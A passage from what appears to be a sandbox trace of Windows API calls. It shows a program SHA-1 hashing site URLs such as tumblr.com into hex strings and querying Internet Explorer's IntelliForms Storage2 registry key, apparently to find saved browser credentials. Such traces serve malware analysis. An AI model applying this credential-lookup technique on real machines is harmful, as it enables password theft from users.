dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.572] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0096.572] lstrlenW (lpString="") returned 0 [0096.573] lstrlenW (lpString="57") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.573] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.573] lstrcatW (in: lpString1="", lpString2="57" | out: lpString1="57") returned="57" [0096.573] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0096.573] lstrlenW (lpString="57") returned 2 [0096.573] lstrlenW (lpString="D8") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.573] lstrcpyW (in: lpString1=0x28c81c0, lpString2="57" | out: lpString1="57") returned="57" [0096.573] lstrcatW (in: lpString1="57", lpString2="D8" | out: lpString1="57D8") returned="57D8" [0096.573] LocalFree (hMem=0x7224580) returned 0x0 [0096.573] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0096.573] lstrlenW (lpString="57D8") returned 4 [0096.573] lstrlenW (lpString="0D") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.573] lstrcpyW (in: lpString1=0x28c8d00, lpString2="57D8" | out: lpString1="57D8") returned="57D8" [0096.573] lstrcatW (in: lpString1="57D8", lpString2="0D" | out: lpString1="57D80D") returned="57D80D" [0096.573] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.573] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0096.573] lstrlenW (lpString="57D80D") returned 6 [0096.573] lstrlenW (lpString="1D") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.573] lstrcpyW (in: lpString1=0x28c81c0, lpString2="57D80D" | out: lpString1="57D80D") returned="57D80D" [0096.573] lstrcatW (in: lpString1="57D80D", lpString2="1D" | out: lpString1="57D80D1D") returned="57D80D1D" [0096.573] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.573] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0096.573] lstrlenW (lpString="57D80D1D") returned 8 [0096.573] lstrlenW (lpString="FE") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.573] lstrcpyW (in: lpString1=0x28c8d00, lpString2="57D80D1D" | out: lpString1="57D80D1D") returned="57D80D1D" [0096.573] lstrcatW (in: lpString1="57D80D1D", lpString2="FE" | out: lpString1="57D80D1DFE") returned="57D80D1DFE" [0096.573] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.573] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.573] lstrlenW (lpString="57D80D1DFE") returned 10 [0096.573] lstrlenW (lpString="81") returned 2 [0096.573] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.573] lstrcpyW (in: lpString1=0x71cf460, lpString2="57D80D1DFE" | out: lpString1="57D80D1DFE") returned="57D80D1DFE" [0096.574] lstrcatW (in: lpString1="57D80D1DFE", lpString2="81" | out: lpString1="57D80D1DFE81") returned="57D80D1DFE81" [0096.574] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.574] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0096.574] lstrlenW (lpString="57D80D1DFE81") returned 12 [0096.574] lstrlenW (lpString="9A") returned 2 [0096.574] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.574] lstrcpyW (in: lpString1=0x71cfb40, lpString2="57D80D1DFE81" | out: lpString1="57D80D1DFE81") returned="57D80D1DFE81" [0096.574] lstrcatW (in: lpString1="57D80D1DFE81", lpString2="9A" | out: lpString1="57D80D1DFE819A") returned="57D80D1DFE819A" [0096.574] LocalFree (hMem=0x71cf460) returned 0x0 [0096.574] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0096.574] lstrlenW (lpString="57D80D1DFE819A") returned 14 [0096.574] lstrlenW (lpString="19") returned 2 [0096.574] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.574] lstrcpyW (in: lpString1=0x71cf460, lpString2="57D80D1DFE819A" | out: lpString1="57D80D1DFE819A") returned="57D80D1DFE819A" [0096.574] lstrcatW (in: lpString1="57D80D1DFE819A", lpString2="19" | out: lpString1="57D80D1DFE819A19") returned="57D80D1DFE819A19" [0096.574] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.574] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.574] lstrlenW (lpString="57D80D1DFE819A19") returned 16 [0096.574] lstrlenW (lpString="C2") returned 2 [0096.574] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.574] lstrcpyW (in: lpString1=0x71cfb40, lpString2="57D80D1DFE819A19" | out: lpString1="57D80D1DFE819A19") returned="57D80D1DFE819A19" [0096.574] lstrcatW (in: lpString1="57D80D1DFE819A19", lpString2="C2" | out: lpString1="57D80D1DFE819A19C2") returned="57D80D1DFE819A19C2" [0096.574] LocalFree (hMem=0x71cf460) returned 0x0 [0096.574] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0096.574] lstrlenW (lpString="57D80D1DFE819A19C2") returned 18 [0096.574] lstrlenW (lpString="BD") returned 2 [0096.574] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.574] lstrcpyW (in: lpString1=0x7290b70, lpString2="57D80D1DFE819A19C2" | out: lpString1="57D80D1DFE819A19C2") returned="57D80D1DFE819A19C2" [0096.574] lstrcatW (in: lpString1="57D80D1DFE819A19C2", lpString2="BD" | out: lpString1="57D80D1DFE819A19C2BD") returned="57D80D1DFE819A19C2BD" [0096.574] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.574] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0096.574] lstrlenW (lpString="57D80D1DFE819A19C2BD") returned 20 [0096.574] lstrlenW (lpString="F9") returned 2 [0096.574] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.574] lstrcpyW (in: lpString1=0x72912f0, lpString2="57D80D1DFE819A19C2BD" | out: lpString1="57D80D1DFE819A19C2BD") returned="57D80D1DFE819A19C2BD" [0096.574] lstrcatW (in: lpString1="57D80D1DFE819A19C2BD", lpString2="F9" | out: lpString1="57D80D1DFE819A19C2BDF9") returned="57D80D1DFE819A19C2BDF9" [0096.574] LocalFree (hMem=0x7290b70) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="64") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF9") returned 22 [0096.575] lstrlenW (lpString="64") returned 2 [0096.575] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.575] lstrcpyW (in: lpString1=0x7290b70, lpString2="57D80D1DFE819A19C2BDF9" | out: lpString1="57D80D1DFE819A19C2BDF9") returned="57D80D1DFE819A19C2BDF9" [0096.575] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF9", lpString2="64" | out: lpString1="57D80D1DFE819A19C2BDF964") returned="57D80D1DFE819A19C2BDF964" [0096.575] LocalFree (hMem=0x72912f0) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AE") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF964") returned 24 [0096.575] lstrlenW (lpString="AE") returned 2 [0096.575] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.575] lstrcpyW (in: lpString1=0x72912f0, lpString2="57D80D1DFE819A19C2BDF964" | out: lpString1="57D80D1DFE819A19C2BDF964") returned="57D80D1DFE819A19C2BDF964" [0096.575] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964", lpString2="AE" | out: lpString1="57D80D1DFE819A19C2BDF964AE") returned="57D80D1DFE819A19C2BDF964AE" [0096.575] LocalFree (hMem=0x7290b70) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D4") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AE") returned 26 [0096.575] lstrlenW (lpString="D4") returned 2 [0096.575] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.575] lstrcpyW (in: lpString1=0x2815a80, lpString2="57D80D1DFE819A19C2BDF964AE" | out: lpString1="57D80D1DFE819A19C2BDF964AE") returned="57D80D1DFE819A19C2BDF964AE" [0096.575] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AE", lpString2="D4" | out: lpString1="57D80D1DFE819A19C2BDF964AED4") returned="57D80D1DFE819A19C2BDF964AED4" [0096.575] LocalFree (hMem=0x72912f0) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED4") returned 28 [0096.575] lstrlenW (lpString="3B") returned 2 [0096.575] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.575] lstrcpyW (in: lpString1=0x2815670, lpString2="57D80D1DFE819A19C2BDF964AED4" | out: lpString1="57D80D1DFE819A19C2BDF964AED4") returned="57D80D1DFE819A19C2BDF964AED4" [0096.575] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED4", lpString2="3B" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B") returned="57D80D1DFE819A19C2BDF964AED43B" [0096.575] LocalFree (hMem=0x2815a80) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B") returned 30 [0096.575] lstrlenW (lpString="37") returned 2 [0096.575] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.575] lstrcpyW (in: lpString1=0x2815a80, lpString2="57D80D1DFE819A19C2BDF964AED43B" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B") returned="57D80D1DFE819A19C2BDF964AED43B" [0096.575] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B", lpString2="37" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B37") returned="57D80D1DFE819A19C2BDF964AED43B37" [0096.575] LocalFree (hMem=0x2815670) returned 0x0 [0096.575] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0096.575] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B37") returned 32 [0096.576] lstrlenW (lpString="30") returned 2 [0096.576] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.576] lstrcpyW (in: lpString1=0x2815670, lpString2="57D80D1DFE819A19C2BDF964AED43B37" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B37") returned="57D80D1DFE819A19C2BDF964AED43B37" [0096.576] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B37", lpString2="30" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730") returned="57D80D1DFE819A19C2BDF964AED43B3730" [0096.576] LocalFree (hMem=0x2815a80) returned 0x0 [0096.576] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E0") returned 2 [0096.576] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B3730") returned 34 [0096.576] lstrlenW (lpString="E0") returned 2 [0096.576] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.576] lstrcpyW (in: lpString1=0x28e7910, lpString2="57D80D1DFE819A19C2BDF964AED43B3730" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730") returned="57D80D1DFE819A19C2BDF964AED43B3730" [0096.576] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B3730", lpString2="E0" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0") returned="57D80D1DFE819A19C2BDF964AED43B3730E0" [0096.576] LocalFree (hMem=0x2815670) returned 0x0 [0096.576] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0096.576] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B3730E0") returned 36 [0096.576] lstrlenW (lpString="72") returned 2 [0096.576] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.576] lstrcpyW (in: lpString1=0x28e7670, lpString2="57D80D1DFE819A19C2BDF964AED43B3730E0" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0") returned="57D80D1DFE819A19C2BDF964AED43B3730E0" [0096.576] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0", lpString2="72" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E072") returned="57D80D1DFE819A19C2BDF964AED43B3730E072" [0096.576] LocalFree (hMem=0x28e7910) returned 0x0 [0096.576] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0096.576] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B3730E072") returned 38 [0096.576] lstrlenW (lpString="7D") returned 2 [0096.576] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.576] lstrcpyW (in: lpString1=0x28e7910, lpString2="57D80D1DFE819A19C2BDF964AED43B3730E072" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E072") returned="57D80D1DFE819A19C2BDF964AED43B3730E072" [0096.576] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E072", lpString2="7D" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0727D") returned="57D80D1DFE819A19C2BDF964AED43B3730E0727D" [0096.576] LocalFree (hMem=0x28e7670) returned 0x0 [0096.576] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0096.576] lstrlenW (lpString="57D80D1DFE819A19C2BDF964AED43B3730E0727D") returned 40 [0096.576] lstrlenW (lpString="5A") returned 2 [0096.576] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.576] lstrcpyW (in: lpString1=0x28e7670, lpString2="57D80D1DFE819A19C2BDF964AED43B3730E0727D" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0727D") returned="57D80D1DFE819A19C2BDF964AED43B3730E0727D" [0096.576] lstrcatW (in: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0727D", lpString2="5A" | out: lpString1="57D80D1DFE819A19C2BDF964AED43B3730E0727D5A") returned="57D80D1DFE819A19C2BDF964AED43B3730E0727D5A" [0096.576] LocalFree (hMem=0x28e7910) returned 0x0 [0096.576] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.576] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.576] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.576] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.577] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.577] LocalFree (hMem=0x28e7670) returned 0x0 [0096.577] RegEnumValueW (in: hKey=0x368, dwIndex=0x4, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url46", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.577] StrStrIW (lpFirst="tumblr.com", lpSrch="?") returned 0x0 [0096.577] StrStrIW (lpFirst="tumblr.com", lpSrch="http://") returned 0x0 [0096.577] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.577] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.577] lstrlenW (lpString="tumblr.com") returned 10 [0096.577] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x16, dwFlags=0x0) returned 1 [0096.577] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.577] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.577] lstrlenW (lpString="") returned 0 [0096.577] lstrlenW (lpString="FD") returned 2 [0096.577] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.577] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.577] lstrcatW (in: lpString1="", lpString2="FD" | out: lpString1="FD") returned="FD" [0096.577] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0096.578] lstrlenW (lpString="FD") returned 2 [0096.578] lstrlenW (lpString="0F") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.578] lstrcpyW (in: lpString1=0x28c8d00, lpString2="FD" | out: lpString1="FD") returned="FD" [0096.578] lstrcatW (in: lpString1="FD", lpString2="0F" | out: lpString1="FD0F") returned="FD0F" [0096.578] LocalFree (hMem=0x7224580) returned 0x0 [0096.578] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0096.578] lstrlenW (lpString="FD0F") returned 4 [0096.578] lstrlenW (lpString="DC") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.578] lstrcpyW (in: lpString1=0x28c81c0, lpString2="FD0F" | out: lpString1="FD0F") returned="FD0F" [0096.578] lstrcatW (in: lpString1="FD0F", lpString2="DC" | out: lpString1="FD0FDC") returned="FD0FDC" [0096.578] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.578] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.578] lstrlenW (lpString="FD0FDC") returned 6 [0096.578] lstrlenW (lpString="9D") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.578] lstrcpyW (in: lpString1=0x28c8d00, lpString2="FD0FDC" | out: lpString1="FD0FDC") returned="FD0FDC" [0096.578] lstrcatW (in: lpString1="FD0FDC", lpString2="9D" | out: lpString1="FD0FDC9D") returned="FD0FDC9D" [0096.578] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.578] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.578] lstrlenW (lpString="FD0FDC9D") returned 8 [0096.578] lstrlenW (lpString="96") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.578] lstrcpyW (in: lpString1=0x28c81c0, lpString2="FD0FDC9D" | out: lpString1="FD0FDC9D") returned="FD0FDC9D" [0096.578] lstrcatW (in: lpString1="FD0FDC9D", lpString2="96" | out: lpString1="FD0FDC9D96") returned="FD0FDC9D96" [0096.578] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.578] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0096.578] lstrlenW (lpString="FD0FDC9D96") returned 10 [0096.578] lstrlenW (lpString="14") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.578] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FD0FDC9D96" | out: lpString1="FD0FDC9D96") returned="FD0FDC9D96" [0096.578] lstrcatW (in: lpString1="FD0FDC9D96", lpString2="14" | out: lpString1="FD0FDC9D9614") returned="FD0FDC9D9614" [0096.578] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.578] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BF") returned 2 [0096.578] lstrlenW (lpString="FD0FDC9D9614") returned 12 [0096.578] lstrlenW (lpString="BF") returned 2 [0096.578] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.578] lstrcpyW (in: lpString1=0x71cf460, lpString2="FD0FDC9D9614" | out: lpString1="FD0FDC9D9614") returned="FD0FDC9D9614" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614", lpString2="BF" | out: lpString1="FD0FDC9D9614BF") returned="FD0FDC9D9614BF" [0096.579] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF") returned 14 [0096.579] lstrlenW (lpString="1A") returned 2 [0096.579] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.579] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FD0FDC9D9614BF" | out: lpString1="FD0FDC9D9614BF") returned="FD0FDC9D9614BF" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614BF", lpString2="1A" | out: lpString1="FD0FDC9D9614BF1A") returned="FD0FDC9D9614BF1A" [0096.579] LocalFree (hMem=0x71cf460) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF1A") returned 16 [0096.579] lstrlenW (lpString="A9") returned 2 [0096.579] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.579] lstrcpyW (in: lpString1=0x71cf460, lpString2="FD0FDC9D9614BF1A" | out: lpString1="FD0FDC9D9614BF1A") returned="FD0FDC9D9614BF1A" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614BF1A", lpString2="A9" | out: lpString1="FD0FDC9D9614BF1AA9") returned="FD0FDC9D9614BF1AA9" [0096.579] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF1AA9") returned 18 [0096.579] lstrlenW (lpString="8D") returned 2 [0096.579] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.579] lstrcpyW (in: lpString1=0x72912f0, lpString2="FD0FDC9D9614BF1AA9" | out: lpString1="FD0FDC9D9614BF1AA9") returned="FD0FDC9D9614BF1AA9" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA9", lpString2="8D" | out: lpString1="FD0FDC9D9614BF1AA98D") returned="FD0FDC9D9614BF1AA98D" [0096.579] LocalFree (hMem=0x71cf460) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF1AA98D") returned 20 [0096.579] lstrlenW (lpString="77") returned 2 [0096.579] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.579] lstrcpyW (in: lpString1=0x7290b70, lpString2="FD0FDC9D9614BF1AA98D" | out: lpString1="FD0FDC9D9614BF1AA98D") returned="FD0FDC9D9614BF1AA98D" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D", lpString2="77" | out: lpString1="FD0FDC9D9614BF1AA98D77") returned="FD0FDC9D9614BF1AA98D77" [0096.579] LocalFree (hMem=0x72912f0) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF1AA98D77") returned 22 [0096.579] lstrlenW (lpString="42") returned 2 [0096.579] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.579] lstrcpyW (in: lpString1=0x72912f0, lpString2="FD0FDC9D9614BF1AA98D77" | out: lpString1="FD0FDC9D9614BF1AA98D77") returned="FD0FDC9D9614BF1AA98D77" [0096.579] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D77", lpString2="42" | out: lpString1="FD0FDC9D9614BF1AA98D7742") returned="FD0FDC9D9614BF1AA98D7742" [0096.579] LocalFree (hMem=0x7290b70) returned 0x0 [0096.579] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0096.579] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742") returned 24 [0096.580] lstrlenW (lpString="C2") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.580] lstrcpyW (in: lpString1=0x7290b70, lpString2="FD0FDC9D9614BF1AA98D7742" | out: lpString1="FD0FDC9D9614BF1AA98D7742") returned="FD0FDC9D9614BF1AA98D7742" [0096.580] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742", lpString2="C2" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2") returned="FD0FDC9D9614BF1AA98D7742C2" [0096.580] LocalFree (hMem=0x72912f0) returned 0x0 [0096.580] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C3") returned 2 [0096.580] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2") returned 26 [0096.580] lstrlenW (lpString="C3") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.580] lstrcpyW (in: lpString1=0x2815670, lpString2="FD0FDC9D9614BF1AA98D7742C2" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2") returned="FD0FDC9D9614BF1AA98D7742C2" [0096.580] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2", lpString2="C3" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3") returned="FD0FDC9D9614BF1AA98D7742C2C3" [0096.580] LocalFree (hMem=0x7290b70) returned 0x0 [0096.580] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0096.580] lstrlenW (lpString="FD0FDC9D9614BF1AA98D7742C2C3") returned 28 [0096.580] lstrlenW (lpString="EA") returned 2 [0096.580] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.580] lstrcpyW (in: lpString1=0x2815a80, lpString2="FD0FDC9D9614BF1AA98D7742C2C3" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3") returned="FD0FDC9D9614BF1AA98D7742C2C3" [0096.580] lstrcatW (in: lpString1="FD0FDC9D9614BF1AA98D7742C2C3", lpString2="EA" | out: lpString1="FD0FDC9D9614BF1AA98D7742C2C3EA") returned="FD0FDC9D9614BF1AA98D7742C2C3EA" [0096.580] 